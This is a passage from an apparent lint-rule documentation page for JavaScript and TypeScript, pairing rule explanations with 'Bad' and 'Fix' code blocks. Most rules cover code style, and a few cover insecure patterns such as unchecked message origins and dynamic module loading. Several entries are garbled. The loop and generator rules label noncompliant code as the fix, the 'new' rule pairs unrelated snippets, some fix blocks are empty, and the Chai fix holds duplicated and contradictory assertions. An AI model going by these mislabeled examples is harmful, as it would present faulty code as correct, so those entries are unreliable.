      <p>The meaning of a boolean parameter may seem perfectly clear when you first write a method call, but that meaning is likely to fade for you over time, and could be completely opaque to those who come behind you.</p>
    </div>

    <div class="paragraph">
      <p>Instead, object literals should be used.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      widget.repaint(false);  // Noncompliant; does this mean never repaint?
      ```

      ```javascript Fix theme={null}
      widget.repaint({immediate: false});
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Template strings should be used instead of concatenation">
    <div class="paragraph">
      <p>ECMAScript 2015 added the ability to use template literals instead of concatenation. Since their use is clearer and more concise, they are preferred in environments that support ECMAScript 2015.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      function sayHello(name) {
      console.log("hello " + name);  // Noncompliant
      }
      ```

      ```javascript Fix theme={null}
      function sayHello(name) {
      console.log(`hello ${name}`);
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="propTypes structure names should follow a naming convention">
    <div class="paragraph">
      <p>Shared coding conventions allow teams to collaborate efficiently. This rule checks that all members of a <code>propTypes</code> structure match a provided regular expression.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      static propTypes = {
      enabled: React.PropTypes.bool.isRequired, // Noncompliant
      max_loops: React.PropTypes.number.isRequired, // Noncompliant
      FrameSrc: React.PropTypes.string.isRequired, // Noncompliant
      }
      ```

      ```javascript Fix theme={null}
      static propTypes = {
      isEnabled: React.PropTypes.bool.isRequired,
      maxLoops: React.PropTypes.number.isRequired,
      frameSrc: React.PropTypes.string.isRequired,
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Array.reduce() calls should include an initial value">
    <div class="paragraph">
      <p>The Array.prototype.reduce() method in JavaScript is used to apply a function against an accumulator and each element in the array (from left to right) to reduce it to a single output value. It is a convenient method that can simplify logic in your code.</p>
    </div>

    <div class="paragraph">
      <p>However, it’s important to always provide an initial value as the second argument to reduce(). The initial value is used as the first argument to the first call of the callback function. If no initial value is supplied, JavaScript will use the first element of the array as the initial accumulator value and start iterating at the second element.</p>
    </div>

    <div class="paragraph">
      <p>This can lead to runtime errors if the array is empty, as reduce() will throw a TypeError.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function sum(xs) {
      return xs.reduce((acc, current) => acc + current); // Noncompliant
      }
      console.log(sum([1, 2, 3, 4, 5])); // Prints 15
      console.log(sum([])); // TypeError: Reduce of empty array with no initial value
      ```

      ```javascript Fix theme={null}
      function sum(xs) {
      return xs.reduce((acc, current) => acc + current, 0);
      }
      console.log(sum([1, 2, 3, 4, 5])); // Prints 15
      console.log(sum([])); // Prints 0
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Wildcard imports should not be used">
    <div class="paragraph">
      <p>On the principle that clearer code is better code, you should explicitly import the things you want to use in a module. Using <code>import \* imports everything in the module and risks confusing maintainers. Similarly, export \* from "module";</code> imports and then re-exports everything in the module and risks confusing not just maintainers but also the module’s users.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      import * as Imported from "aModule";  // Noncompliant
      ```

      ```javascript Fix theme={null}
      import {aType, aFunction} from "aModule";
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Function calls should not pass extra arguments">
    <div class="paragraph">
      <p>When you call a function in JavaScript and provide more arguments than the function expects, the extra arguments are simply ignored by the function.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function sum(a, b) {
      return a + b;
      }

      sum(1, 2, 3); // Noncompliant: The last argument is unexpected and will be ignored
      ```

      ```javascript Fix theme={null}
      function sum() {
      let total = 0;
      for (let i = 0; i < arguments.length; i++) {
      total += arguments[i];
      }
      return total;
      }

      sum(1, 2, 3); // Compliant
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Function exit paths should have appropriate return values">
    <div class="paragraph">
      <p>Every call to a function with a non-void return type is expected to return some value. If there is no value that’s valid, you should \`return undefined; rather than using a void return (return;).  Conversely, every call to a function with a void return type is expected to not return any value, even undefined.</p>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue when undefined\` is returned from a void function, and when void is returned from a non-void function.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      function nonvoidFunction(): number | undefined {
      return;  // Noncompliant
      }

      function voidFunction(): void {
      return undefined;  // Noncompliant
      }
      ```

      ```javascript Fix theme={null}
      function nonvoidFunction(): number | undefined {
      return undefined;
      }

      function voidFunction(): void {
      return;
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Assertions should not be given twice the same argument">
    <div class="paragraph">
      <p>Assertions are statements that check whether certain conditions are true. They are used to validate that the actual results of a code snippet match the expected outcomes. By using assertions, developers can ensure that their code behaves as intended and identify potential bugs or issues early in the development process.</p>
    </div>

    <div class="paragraph">
      <p>In Chai.js, there is no inherent problem with giving the same argument twice in an assertion. It won’t cause any errors or issues in the test execution itself. The test will still run and pass as long as the assertion is correct.</p>
    </div>

    <div class="paragraph">
      <p>However, having the same argument twice in an assertion might indicate a design issue or a potential mistake in your test. In most cases, you don’t need to compare a variable to itself in a test, as it doesn’t provide any meaningful validation and is likely to be a bug due to the developer’s carelessness.</p>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue when a Chai assertion is given twice the same argument.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const assert = require('chai').assert;

      describe("test the same object", function() {
      it("uses chai 'assert'", function() {
          const expected = '1';
          const actual = (1).toString();
          assert.equal(actual, actual); // Noncompliant: Asserting the same argument
      });
      });
      ```

      ```javascript Fix theme={null}
      const assert = require('chai').assert;

      describe("test the same object", function() {
      it("uses chai 'assert'", function() {
          const expected = '1';
          const actual = (1).toString();
          assert.equal(actual, expected);
      });
      });
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="children and dangerouslySetInnerHTML should not be used together">
    <div class="paragraph">
      <p>React has a special prop called dangerouslySetInnerHTML that allows you to assign a raw HTML string to the underlying DOM innerHTML property. Changing innerHTML will replace the element’s child nodes or text content. For this reason, dangerouslySetInnerHTML should never be used together with component children as they will conflict with each other, both trying to set the inner content of the same element.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function MyComponent() {
      return ( // Noncompliant: don't use children and dangerouslySetInnerHTML at the same time 
          <div dangerouslySetInnerHTML={{ __html: "HTML" }}>
              Children
          </div>
      );
      }
      ```

      ```javascript Fix theme={null}
      function MyComponent() {
      return (
          <div dangerouslySetInnerHTML={{ __html: "HTML" }} />
      );
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Non-callable object/primitive should not be called">
    <div class="paragraph">
      <p>Call a non-callable symbol will result in a TypeError at execution.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      function foo(a) {
      return a * 2;
      }
      // ....
      var foo = 1;
      // ...
      foo();   // foo is 1 => TypeError
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Interfaces should not be empty">
    <div class="paragraph">
      <p>An empty interface is equivalent to an empty object ('\{}'). Normally you cannot directly assign an object literal to a type when the object literal contains more properties than are specified in the type. But in the case of an empty interface, this check is not done, and such assignments will be successful. The result is highly likely to confuse maintainers.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      interface A {}  // Noncompliant
      ```

      ```javascript Fix theme={null}
      interface A {
      foo: number;
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Replacement strings should reference existing regular expression groups">
    <div class="paragraph">
      <p>In JavaScript, the \`String.prototype.replace() method is used to replace parts of a string with new substrings. It allows you to perform simple to complex string replacements based on either a static string or a regular expression pattern.</p>
    </div>

    <div class="paragraph">
      <p>When the first argument is a regular expression, the method will use the regular expression to search for matches within the original string and then replace those matches with the specified replacement. If the second argument is a string, the method will use it as the static replacement for the matched substrings found by the regular expression.</p>
    </div>

    <div class="paragraph">
      <p>Within the replacement string, the function supports special placeholders to insert the matched values of capturing groups from the regular expression:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>The \$n syntax allows you to reference capturing groups by their numerical index. The number n corresponds to the order in which the capturing group appears in the regular expression, starting from 1 for the first capturing group.</p>
        </li>

        <li>
          <p>The \$\<Name> syntax allows you to reference capturing groups by their name. Instead of using numerical indices, you can assign a name to a capturing group using ?\<Name> within the regular expression.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>If the second argument of String.prototype.replace() references non-existing groups (capturing groups that do not exist in the regular expression), the behavior of the replacement will depend on the specific references made. It won’t cause an error, but the replacement will not be based on any captured values, potentially leading to unexpected results in the replaced string:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>If the replacement string contains references like $1, $2, etc., to capturing groups that don’t exist in the regular expression, those references will be treated as literals. In other words, the $n will be replaced with the literal text $n itself.</p>
        </li>

        <li>
          <p>If the replacement string contains references like \$\<Name>, they will also be treated as literals, but only if there are no named captures in the regular expression; otherwise, they will be replaced with the empty string.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>This rule checks that all referenced groups exist when replacing a pattern with a replacement string using String.prototype.replace() or String.prototype.replaceAll()\` methods.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const str = 'John Doe';
      console.log(str.replace(/(\w+)\s(\w+)/, '$1, $0 $1')); // Noncompliant: index is 1-based, '$0' does not exist, prints 'John, $0 John'
      console.log(str.replace(/(?<firstName>\w+)\s(?<lastName>\w+)/, '$<surname>, $<firstName> $<surname>')); // Noncompliant: '$<surname>' does not exist but there are named captures, prints ', John '
      ```

      ```javascript Fix theme={null}
      const str = 'John Doe';
      console.log(str.replace(/(\w+)\s(\w+)/, '$2, $1 $2'));
      console.log(str.replace(/(?<firstName>\w+)\s(?<lastName>\w+)/, '$<lastName>, $<firstName> $<lastName>'));
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="A while loop should be used instead of a for loop">
    <div class="paragraph">
      <p>A for loop is a type of loop construct that allows a block of code to be executed repeatedly for a fixed number of times. The for loop is typically used when the number of iterations is known in advance, and consists of three parts:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>The initialization statement is executed once at the beginning of the loop, and is used to initialize the loop counter or any other variables that may be used in the loop.</p>
        </li>

        <li>
          <p>The loop condition is evaluated at the beginning of each iteration, and if it is true, the code inside the loop is executed.</p>
        </li>

        <li>
          <p>The update statement is executed at the end of each iteration, and is used to update the loop counter or any other variables that may be used in the loop.</p>
        </li>
      </ul>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      for (initialization; condition; update) { /*...*/ }
      ```

      ```javascript Fix theme={null}
      for (;condition;) { /*...*/ } // Noncompliant: Only the condition is specified
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Functions should be called consistently with or without new">
    <div class="paragraph">
      <p>JavaScript has the <code>new keyword that is used in conjunction with constructor functions to create new instances of objects. When you use the new</code> keyword with a function, it signifies that the function is intended to be used as a constructor function to create objects.</p>
    </div>

    <div class="paragraph">
      <p>Any function can be used as a constructor function by convention. Constructor functions are used to create new objects with the same structure or properties. They are typically named with an initial capital letter to distinguish them from regular functions.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function Person(name, age) {
      this.name = name;
      this.age = age;
      }
      ```

      ```javascript Fix theme={null}
      const person1 = new Person('Alice', 30);
      const person2 = new Person('Bob', 25);
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Generators should explicitly yield a value">
    <div class="paragraph">
      <p>In JavaScript, a generator is a special type of function that can be paused and resumed during its execution. It allows you to define an iterative algorithm by writing a function that can maintain its internal state and produce a sequence of values over time.</p>
    </div>

    <div class="paragraph">
      <p>Generators are defined using a function syntax with an asterisk <code>(*) appended to the function keyword (function*). Within the generator function, you can use the yield</code> keyword to produce a value and temporarily pause the execution of the function, returning that value to the consumer.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function* generate() {
      yield 1;
      yield 2;
      yield 3;
      }
      ```

      ```javascript Fix theme={null}
      function* range(start, end) {
      while (start < end) {
      yield; // Noncompliant: The generator yields undefined
      start++;
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Cross-window message listeners should check message origins">
    <div class="paragraph">
      <p>HTML5’s cross-window messaging adds the ability to send messages directly from one window (or iframe) to another, without having to go through a server. This makes it easier to write interesting and responsive web sites, but adds vulnerability as well, since the same-origin policy does not apply here. For that reason, cross-window messaging listeners should always check message origins and use only those from trusted sites.</p>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue on each cross-window messaging listener that does not check message origins.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      window.addEventListener("message", function (event){  // Noncompliant
      // ...
      }, false);
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="HTML-style comments should not be used">
    <div class="paragraph">
      <p>HTML-style comments are not part of EcmaScript specification, and should not be used.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      <!-- Noncompliant -->
      ```

      ```javascript Fix theme={null}
      // Compliant
      /* Compliant */
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="delete should not be used on arrays">
    <div class="paragraph">
      <p>The \`delete operator can be used to remove a property from any object. Arrays are objects, so the delete operator can be used on them too.</p>
    </div>

    <div class="paragraph">
      <p>When you delete an element from an array using the delete keyword, it will remove the value but still leave behind an empty slot at that index. Therefore, a hole will be created in the array because the indexes won’t be shifted to reflect the deletion. This means that the array will still have that index, but the value will be undefined\`.</p>
    </div>

    <div class="paragraph">
      <p>Arrays that have gaps or missing indexes between elements are known as sparse arrays.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      let myArray = ['a', 'b', 'c', 'd'];

      delete myArray[2]; // Noncompliant: myArray => ['a', 'b', undefined, 'd']
      console.log(myArray[2]); // expected value was 'd' but output is undefined
      ```

      ```javascript Fix theme={null}
      let myArray = ['a', 'b', 'c', 'd'];

      // removes 1 element from index 2
      removed = myArray.splice(2, 1);  // myArray => ['a', 'b', 'd']
      console.log(myArray[2]); // outputs 'd'
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Unnecessary type constraints should be removed">
    <div class="paragraph">
      <p>The TypeScript programming language supports <em>generics</em>, a programming construct for creating reusable components, that is, components that can work over various types rather than a single one. Sometimes, we need to limit this genericity to a specific set of types, typically when we know these types share common capabilities, e.g., a length property. To this end, the language provides the extends clause to describe type constraints on type parameters, whether for classes, interfaces, type aliases, or functions.</p>
    </div>

    <div class="paragraph">
      <p>By default, a type parameter extends the any type. It is therefore redundant to explicitly extend from any and should be removed accordingly.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      class C<T extends any> {
      // ...
      }
      ```

      ```javascript Fix theme={null}
      class C<T> {
      // ...
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="for in should not be used with iterables">
    <div class="paragraph">
      <p>If you have an iterable, such as an array, set, or list, your best option for looping through its values is the <code>for of syntax. Use for in</code> and you’ll iterate the properties, rather than the values.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      const arr = [4, 3, 2, 1];

      for (let value in arr) {  // Noncompliant 
      console.log(value);  // logs 0, 1, 2, 3
      }
      ```

      ```javascript Fix theme={null}
      const arr = [4, 3, 2, 1];

      for (let value of arr) { 
      console.log(value); 
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="The any type should not be used">
    <div class="paragraph">
      <p>In TypeScript, any is a type that is used when the type of a variable is unknown or could be of any type. It allows you to opt-out of type-checking and let the values pass through compile-time checks. In other words, it prevents the compiler from reporting type errors, which can lead to runtime errors.</p>
    </div>

    <div class="paragraph">
      <p>On the other hand, unknown is a type-safe alternative to any. It forces you to perform certain checks before performing operations on variables of type unknown. This means you can’t accidentally perform arbitrary operations on variables of type unknown, which helps prevent runtime errors.</p>
    </div>

    <div class="paragraph">
      <p>It’s generally recommended to avoid using any when possible, and instead use more specific types or generics for better type safety. If you want to maintain type safety, it’s better to use unknown instead of any.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function logValue(value: any) { // Noncompliant: 'value' is not type-checked
      console.log(value);
      }

      logValue(123);
      logValue('Hello');
      ```

      ```javascript Fix theme={null}
      function logValue(value: unknown) {
      if (typeof value === 'number') {
      console.log(value.toFixed(2));
      } else if (typeof value === 'string') {
      console.log(value.trim());
      }
      }

      logValue(123);
      logValue('Hello');
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Array-mutating methods should not be used misleadingly">
    <div class="paragraph">
      <p>In JavaScript, some \`Array methods do not mutate the existing array that the method was called on, but instead return a new array. Other methods mutate the array, and their return value differs depending on the method.</p>
    </div>

    <div class="paragraph">
      <p>reverse and sort\` are mutating methods and, in addition, return the altered version. This rule raises an issue when the return values of these methods are assigned, which could lead maintainers to overlook the fact that the original array has been modified.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const reversed = a.reverse(); // Noncompliant: mutating method, no need to assign return value
      const sorted = b.sort(); // Noncompliant: mutating method, no need to assign return value
      ```

      ```javascript Fix theme={null}
      a.reverse();
      b.sort();
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Modules should not be loaded dynamically">
    <div class="paragraph">
      <p>When loading modules dynamically, malicious user input could find its way to the parameter specifying the module path and name. This could allow an attacker to load and run arbitrary code, or access arbitrary files.</p>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue for each use of dynamic module loading.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      const mod = require(modPath);
      ```

      ```javascript Fix theme={null}
      const mod = require('path/module');
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Chai assertions should have only one reason to succeed">
    <div class="paragraph">
      <p>A unit test assertion should have only one reason to succeed because it helps to ensure that the test is focused and specific. When a test has multiple reasons to succeed, it becomes difficult to determine the root cause of a failure if the test fails. This can lead to confusion and wasted time trying to debug the test.</p>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue when the following Chai.js assertions are found:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>When \`.not and <a href="https://www.chaijs.com/api/bdd/#method_throw">.throw</a> are used together and at least one argument is provided to .throw. Such assertions succeed when the target either does not throw any exception, or when it throws an exception different from the one provided.</p>
        </li>

        <li>
          <p>When .not and <a href="https://www.chaijs.com/api/bdd/#method_include">.include</a> are used together and an object is given to .include. Such assertions succeed when one or multiple key/values are missing.</p>
        </li>

        <li>
          <p>When .not and <a href="https://www.chaijs.com/api/bdd/#method_property">.property</a> are used together and .property is given at least two arguments. Such assertions succeed when the target either doesn’t have the requested property, or when this property exists but has a different value.</p>
        </li>

        <li>
          <p>When .not and <a href="https://www.chaijs.com/api/bdd/#method_ownpropertydescriptor">.ownPropertyDescriptor</a> are used together and .ownPropertyDescriptor is given at least two arguments. Such assertions succeed when the target either doesn’t have the requested property descriptor, or its property descriptor is not deeply equal to the given descriptor</p>
        </li>

        <li>
          <p>When .not and <a href="https://www.chaijs.com/api/bdd/#method_members">.members</a> are used together. Such assertions succeed when one or multiple members are missing.</p>
        </li>

        <li>
          <p>When <a href="https://www.chaijs.com/api/bdd/#method_change">.change</a> and <a href="https://www.chaijs.com/api/bdd/#method_by">.by</a> are used together. Such assertions succeed when the target either decreases or increases by the given delta</p>
        </li>

        <li>
          <p>When .not and <a href="https://www.chaijs.com/api/bdd/#method_increase">.increase</a> are used together. Such assertions succeed when the target either decreases or stays the same.</p>
        </li>

        <li>
          <p>When .not and <a href="https://www.chaijs.com/api/bdd/#method_decrease">.decrease</a> are used together. Such assertions succeed when the target either increases or stays the same.</p>
        </li>

        <li>
          <p>When .not negates <a href="https://www.chaijs.com/api/bdd/#method_by">.by</a>. Such assertions succeed when the target didn’t change by one specific delta among all the possible deltas.</p>
        </li>

        <li>
          <p>When .not and <a href="https://www.chaijs.com/api/bdd/#method_finite">.finite</a> are used together. Such assertions succeed when the target either is not a number, or is one of Nan, positive Infinity, negative Infinity\`.</p>
        </li>
      </ul>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const expect = require('chai').expect;

      describe("Each Chai.js assertion", function() {
      const throwsTypeError = () => { throw new TypeError() }

      it("has more than one reason to succeed", function() {
          expect(throwsTypeError).to.not.throw(ReferenceError) // Noncompliant
          expect({a: 42}).to.not.include({b: 10, c: 20});  // Noncompliant
          expect({a: 21}).to.not.have.property('b', 42); // Noncompliant
          expect({a: 21}).to.not.have.ownPropertyDescriptor('b', {   // Noncompliant
              configurable: true,
              enumerable: true,
              writable: true,
              value: 42,
          });
          expect([21, 42]).to.not.have.members([1, 2]); // Noncompliant

          let myObj = { value: 1 }
          const incThree = () => { myObj.value += 3; };
          const decThree = () => { myObj.value -= 3; };
          const doNothing = () => {};

          expect(incThree).to.change(myObj, 'value').by(3); // Noncompliant
          expect(decThree).to.change(myObj, 'value').by(3); // Noncompliant

          expect(decThree).to.not.increase(myObj, 'value'); // Noncompliant
          expect(incThree).to.not.decrease(myObj, 'value'); // Noncompliant

          expect(doNothing).to.not.increase(myObj, 'value'); // Noncompliant
          expect(doNothing).to.not.decrease(myObj, 'value'); // Noncompliant

          expect(incThree).to.increase(myObj, 'value').but.not.by(1); // Noncompliant

          let toCheck;
          expect(toCheck).to.not.be.finite; // Noncompliant
      });
      });
      ```

      ```javascript Fix theme={null}
      const expect = require('chai').expect;

      describe("Each Chai.js assertion", function() {
      const throwsTypeError = () => { throw new TypeError() }

      it("has only one reason to succeed", function() {
          expect(throwsTypeError).to.throw(TypeError)
          expect({a: 42}).to.not.have.any.keys('b', 'c');
          expect({a: 21}).to.not.have.property('b');
          expect({a: 21}).to.not.have.ownPropertyDescriptor('b');
          expect([21, 42]).to.not.include(1).and.not.include(2);

          let myObj = { value: 1 }
          const incThree = () => { myObj.value += 3; };
          const decThree = () => { myObj.value -= 3; };
          const doNothing = () => {};

          expect(incThree).to.increase(myObj, 'value').by(3);
          expect(decThree).to.decrease(myObj, 'value').by(3);

          expect(decThree).to.decrease(myObj, 'value').by(3);
          expect(incThree).to.increase(myObj, 'value').by(3);

          expect(doNothing).to.not.change(myObj, 'value');

          expect(incThree).to.increase(myObj, 'value').by(3);

          let toCheck;
          // Either of the following is valid
          expect(toCheck).to.be.a('string');
          expect(toCheck).to.be.NaN;
          expect(toCheck).to.equal(Infinity);
          expect(toCheck).to.equal(-Infinity);
      });
      });
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Web SQL databases should not be used">
    <div class="paragraph">
      <p>The Web SQL Database standard never saw the light of day. It was first formulated, then deprecated by the W3C and was only implemented in some browsers. (It is not supported in Firefox or IE.)</p>
    </div>

    <div class="paragraph">
      <p>Further, the use of a Web SQL Database poses security concerns, since you only need its name to access such a database.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      var db = window.openDatabase("myDb", "1.0", "Personal secrets stored here", 2*1024*1024);  // Noncompliant
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="new should only be used with functions and classes">
    <div class="paragraph">
      <p>JavaScript has the \`new keyword that is used in conjunction with constructor functions to create new instances of objects. When you use the new keyword with a function, it signifies that the function is intended to be used as a constructor function to create objects.</p>
    </div>

    <div class="paragraph">
      <p>Any function can be used as a constructor function by convention. Constructor functions are used to create new objects with the same structure or properties. They are typically named with an initial capital letter to distinguish them from regular functions.</p>
    </div>

    <div class="paragraph">
      <p>To create a new instance of an object using the constructor function, you use the new keyword before the function call.</p>
    </div>

    <div class="paragraph">
      <p>The new keyword should only be used with objects that define a constructor function. Attempting to use it with an object or a variable that is not a constructor will raise a TypeError\`.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function MyClass() {
      this.foo = 'bar';
      }

      const someClass = 1;

      const obj1 = new someClass;    // Noncompliant: someClass is a variable
      const obj2 = new MyClass();    // Noncompliant if parameter considerJSDoc is true. Compliant when considerJSDoc is false
      ```

      ```javascript Fix theme={null}
      /**
      * @constructor
      */
      function MyClass() {
      this.foo = 'bar';
      }

      const someClass = function(){
      this.prop = 1;
      }

      const obj1 = new someClass;
      const obj2 = new MyClass();
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Numbers should not lose precision">
    <div class="paragraph">
      <p>Numbers in JavaScript are stored in <a href="https://en.wikipedia.org/wiki/Double-precision_floating-point_format">double-precision 64-bit binary format IEEE 754</a>. Like any other number encoding occupying a finite number of bits, it is unable to represent all numbers.</p>
    </div>

    <div class="paragraph">
      <p>The values are stored using 64 bits in the following form:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>1 bit for the sign (positive or negative)</p>
        </li>

        <li>
          <p>11 bits for the exponent (2<sup>n</sup>). -1022 ≤ n ≤ 1023</p>
        </li>

        <li>
          <p>52 bits for the significand (or mantissa)</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>The actual value of the stored number will be (-1)<sup>sign</sup> \* (1 + significand) \* 2 <sup>exponent</sup></p>
    </div>

    <div class="paragraph">
      <p>Given this structure, there are limits in both <strong>magnitude</strong> and <strong>precision</strong>.</p>
    </div>

    <div class="paragraph">
      <p>Due to the 52 bits used for the significand, any arithmetic in need of more precision than 2<sup>-52</sup> (provided by Number.EPSILON) is subject to rounding.</p>
    </div>

    <div class="paragraph">
      <p>In terms of magnitude, the largest number the 64 bits of the format can store is 2<sup>1024</sup> - 1 (Number.MAX\_VALUE).</p>
    </div>

    <div class="paragraph">
      <p>However, because the 52 bits of the significand, only integers between -(2<sup>53</sup> - 1) (Number.MIN\_SAFE\_INTEGER) and 2<sup>53</sup> - 1 (Number.MAX\_SAFE\_INTEGER) can be represented exactly and be properly compared.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      Number.MAX_SAFE_INTEGER + 1 === Number.MAX_SAFE_INTEGER + 2;  // true
      ```

      ```javascript Fix theme={null}
      const myBigInt = BigInt(Number.MAX_SAFE_INTEGER);
      myBigInt + 1n === myBigInt + 2n;  // false
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="in should not be used with primitive types">
    <div class="paragraph">
      <p>In JavaScript, the \`in operator is primarily used to check if a property exists in an object or if an index exists in an array. However, it is not suitable for use with primitive types such as numbers, strings, or booleans because they are not objects and do not have properties.</p>
    </div>

    <div class="paragraph">
      <p>If the right operand is of primitive type, the in operator raises a TypeError\`.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      let x = "Foo";
      "length" in x; // Noncompliant: TypeError
      0 in x;        // Noncompliant: TypeError
      "foobar" in x; // Noncompliant: TypeError
      ```

      ```javascript Fix theme={null}
      let x = new String("Foo");
      "length" in x;    // true
      0 in x;           // true
      "foobar" in x;    // false
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Literals should not be thrown">
    <div class="paragraph">
      <p>In JavaScript, throwing literals (primitive values like strings, numbers, booleans, etc.) as exceptions is generally discouraged. While it is syntactically valid to throw literals, it is considered a best practice to throw instances of the \`Error class or its subclasses instead.</p>
    </div>

    <div class="paragraph">
      <p>Throwing an instance of the Error class allows you to provide more meaningful information about the error.</p>
    </div>

    <div class="paragraph">
      <p>The Error class and its subclasses provide properties like message and stack\` that can be used to convey useful details about the error, such as a description of the problem, the context in which it occurred, or a stack trace for debugging.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      throw 404;                              // Noncompliant
      throw "Invalid negative index.";        // Noncompliant
      ```

      ```javascript Fix theme={null}
      throw new Error("Status: " + 404);
      throw new RangeError("Invalid negative index.");
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Object methods should be defined in the global context using prototype">
    <div class="paragraph">
      <p>Defining a object’s methods inside the object itself means that a new instance of the function is created for each instantiation of the object, bloating the instances.</p>
    </div>

    <div class="paragraph">
      <p>Instead, it is more efficient to define the functions outside the object using the <code>prototype</code> keyword. This yields a single instance of each function, to which all the objects of that type refer.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      function Person(firstName, middleInitial, lastName) {
      this.firstName = firstName;
      this.middleInitial = middleInitial;
      this.lastName = lastName;

      this.nameReversed = function() {  // Noncompliant
      return this.lastName + ", " + this.firstName + " " + this.middleInitial;
      }
      }
      ```

      ```javascript Fix theme={null}
      function Person(firstName, middleInitial, lastName) {
      this.firstName = firstName;
      this.middleInitial = middleInitial;
      this.lastName = lastName;
      }

      Person.prototype.nameReversed = function() {
      return this.lastName + ", " + this.firstName + " " + this.middleInitial;
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Object literal syntax should be used">
    <div class="paragraph">
      <p>Object literal syntax, which initializes an object’s properties inside the object declaration is cleaner and clearer than the alternative: creating an empty object, and then giving it properties one by one.</p>
    </div>

    <div class="paragraph">
      <p>An issue is raised when the following pattern is met:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>An empty object is created.</p>
        </li>

        <li>
          <p>A consecutive single-line statement adds a property to the created object.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      let person = {};  // Noncompliant
      person.firstName = "John";
      person.middleInitial = "Q";
      person.lastName = "Public";
      ```

      ```javascript Fix theme={null}
      let person = {
      firstName: "John",
      middleInitial: "Q",
      lastName: "Public",
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Function parameters with default values should be last">
    <div class="paragraph">
      <p>Default parameter values allow callers to specify as many or as few arguments as they want while getting the same functionality and minimizing boilerplate, wrapper code, making a function easier to use.</p>
    </div>

    <div class="paragraph">
